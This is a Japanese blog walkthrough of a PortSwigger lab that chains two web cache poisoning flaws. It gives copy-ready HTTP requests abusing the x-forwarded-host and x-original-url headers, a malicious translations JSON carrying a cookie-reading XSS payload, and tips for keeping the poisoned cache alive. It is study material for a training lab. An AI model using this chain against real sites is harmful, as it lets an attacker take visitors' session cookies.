以下の内容はhttps://cysec148.hatenablog.com/entry/2025/09/16/075332より取得しました。


Lab: Combining web cache poisoning vulnerabilities

Hello there, ('ω')ノ

全体像(まず“絵”を掴む)

  1. トップ(/)は時々 バックスラッシュを正規化して /setlang\es → 302 → /setlang/es を返す。 → 302がキャッシュ可能なので、ホームを踏んだ人全員/setlang/es に押し出せる(=強制的に lang=es クッキーをサーバ側でセット)。
  2. /?localized=1翻訳JSON/resources/json/translations.json)を読み込む。英語以外の言語では initTranslations() のDOM扱いが危険で、JSON値に HTMLがそのまま挿入される。
  3. X-Forwarded-Host を使うと、翻訳JSONの取得先ホスト任意に差し替えられる(CORS許可があれば他オリジン読み込みOK)。
  4. よって、(A) /resources/json/translations.json 相当の悪意JSONをエクスプロイトサーバで用意→/?localized=1 のキャッシュを毒化(B) さらに / を 302→/setlang/es で毒化
  5. 被害者が / を踏む → キャッシュ済み302で /setlang/es → サーバが lang=es を設定して /?localized=1 に戻す → 毒化済みJSONを読み込み alert(document.cookie)

バグの分解(順に“何を/なぜ”)

  • Param Miner で発見:X-Forwarded-Host, X-Original-URL が有効 フロント(キャッシュ層 or 逆プロキシ)がこれらヘッダーを上流へ反映
  • 翻訳JSONの取り扱いがDOM-XSS 英語(en)以外のキーで、表示時にエスケープされずにHTMLとして注入される。
  • X-Forwarded-HostでJSONの参照元を差し替え ページが読み込む /resources/json/translations.jsonホストだけ任意値に。
  • X-Original-URLで内部パスを /setlang/es に変更 ただし /setlang/es直接レスポンスは Set-Cookie を含み非キャッシュ → 使えない。 一方、/setlang\es(バックスラッシュ) はサーバが 302/setlang/es正規化し、この302はキャッシュ可能 → これを毒として / に保存できる。

事前準備(必須)

  1. Burp Repeater を使用。必要なら Param Miner でヘッダー対応を確認。
  2. Exploit Server(提供されているサーバ)に以下を作成:

    • パス/resources/json/translations.json(本物と同じパス名)
    • ヘッダーAccess-Control-Allow-Origin: *(CORS許可)
    • ボディ(悪意JSON):例(スペイン語 es にXSSを仕込む)

      {
        "en": {"name": "English"},
        "es": {
          "name": "español",
          "translations": {
            "Return to list": "Volver a la lista",
            "View details": "</a><img src=1 onerror='alert(document.cookie)' />",
            "Description:": "Descripción"
          }
        }
      }
      

フェーズA:/?localized=1 を「悪意JSONの参照」に毒化(X-Forwarded-Host)

狙い:英語以外(es)のページがあなたのJSONを読むように、キャッシュを汚染。

  1. lang=es クッキーのある /?localized=1 を取得(HTTP history から見つけて Repeater へ)
  2. キャッシュバスターを付ける(?_cb=12345 など)
  3. X-Forwarded-Hostあなたの Exploit Server に設定して送信:
GET /?localized=1&_cb=12345 HTTP/2
host: YOUR-LAB-ID.web-security-academy.net
cookie: lang=es
x-forwarded-host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net

観察:レスポンス内の翻訳JSONの取得先(もしくは参照)があなたのホストになっている/以後このレスポンスがキャッシュされる。

ローカル検証:ブラウザで該当URLを開き、alert(document.cookie) が出ることを確認(自分の環境=lang=es のとき)。


フェーズB:トップ / を「/setlang\es → 302」へ毒化(X-Original-URL)

狙い:被害者の言語(英語)を強制的にスペイン語へ切り替えるため、トップにキャッシュ可能な302を仕込む。

  1. トップ GET を Repeater で開く(GET /)。
  2. X-Original-URL/setlang\es(バックスラッシュ!)を指定して送信:
GET /?_cb=99999 HTTP/2
host: YOUR-LAB-ID.web-security-academy.net
x-original-url: /setlang\es

期待302/setlang/es にリダイレクト。レスポンスに Set-Cookie がなくキャッシュ可能(Age/X-Cache等で確認可)。 → この 302 が/ のキャッシュに保存され、誰がトップを踏んでも /setlang/es に飛ぶようになる。以降、サーバ側で lang=es がセットされて /?localized=1 が表示される。


フェーズC:連携 — 被害者の実動作

  1. 被害者が トップ / を開く → キャッシュ済み302/setlang/es
  2. サーバが(通常動作で)lang=es をサーバ側で保持し、/?localized=1 を返す
  3. /?localized=1フェーズAで毒化済みExploit Server の翻訳JSONを読み、DOM-XSSalert(document.cookie) 発火

タイミングと運用(被害者は1分に1回)

  • キャッシュTTL は環境依存。被害者が来るまでに毒が切れないよう、A(/?localized=1)→B(/)の2リクエストを定期的にリプレイして両方のキャッシュを維持
  • 実施順は A → すぐB が安定(まず悪意JSONを読ませられる状態にしてから、言語切替の302を配る)。

うまくいかない時のチェックリスト

  • CORS:Exploit Server のヘッダーに Access-Control-Allow-Origin: * があるか。
  • JSON構造:本物の translations.json と同じキー階層(es.translations...)になっているか。
  • 言語条件:英語(en)は安全化されている想定。必ず lang=es で試す/被害者を 302でesに誘導できているか。
  • ヘッダー名の大小:HTTP/2では小文字x-forwarded-host, x-original-url)。
  • キャッシュ命中_cb を変えすぎて別キーにしていないか。同じキーで毒と被害者動線を一致させる。
  • 302のキャッシュ性/setlang/es そのものは Set-Cookie で非キャッシュ、/setlang\es → 302ほうがキャッシュ。必ず バックスラッシュ
  • 順序:A(JSON毒)→B(トップ302)。逆だと被害者が来た時点でJSON側が未毒の可能性。

コピペ用(最小セット)

A. /?localized=1 を毒化(lang=es クッキー付きで)

GET /?localized=1&_cb=12345 HTTP/2
host: YOUR-LAB-ID.web-security-academy.net
cookie: lang=es
x-forwarded-host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net

B. / を 302→/setlang/es に毒化(バックスラッシュ!)

GET /?_cb=99999 HTTP/2
host: YOUR-LAB-ID.web-security-academy.net
x-original-url: /setlang\es

Exploit Server(/resources/json/translations.json)

Access-Control-Allow-Origin: *
{ ...上記の悪意JSON... }

あとは、A→Bを適宜リプレイしつつ、別タブでトップを開けば alert(document.cookie) が出るはず。


なぜこの順でやるのか(理解の定着)

  • 先に毒JSON:被害者をスペイン語に飛ばしても、読ませるJSONが毒化されていないと不発
  • 後からトップ302全員をesに切替できる“入口の毒”を最後に置く。
  • 両輪が同時に効いている時間を作るため、AとBを交互に再投与する。

Best regards, (^^ゞ




以上の内容はhttps://cysec148.hatenablog.com/entry/2025/09/16/075332より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14